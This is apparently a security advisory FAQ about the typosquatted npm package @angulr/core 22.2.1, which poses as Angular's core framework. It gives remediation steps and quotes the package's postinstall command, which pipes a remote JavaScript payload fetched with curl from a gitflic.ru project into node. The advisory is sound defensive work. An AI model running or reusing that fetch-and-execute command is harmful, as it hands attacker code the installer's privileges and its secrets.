Which versions of @angulr/core are malicious?

The following npm versions of @angulr/core are flagged malicious: 22.2.1. Treat any of these as compromised.

How do I remediate @angulr/core if I installed it?

Remove @angulr/core from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed @angulr/core — how do I know if it already compromised me?

If @angulr/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @angulr/core part of a known attack campaign?

Yes — @angulr/core is associated with the IN-MAL-2026-020995 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @angulr/core across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @angulr/core (version 22.2.1).

What this malware does

The npm package @angulr/core masquerades as Angular's @angular/core by cloning its package.json metadata (description 'Angular - the core framework', author 'angular', repository angular/angular, ng-update packageGroup) while shipping a hostile postinstall script. The postinstall hook runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js |... node, piping an unpinned, remotely fetched JavaScript payload directly into Node at install time. The destination is a personal hellscripter project on gitflic.ru fronted via web.archive.org, unrelated to Angular's publisher. Any developer running npm install @angulr/core executes attacker-controlled code with the installer's privileges, with no integrity check and no pinning.
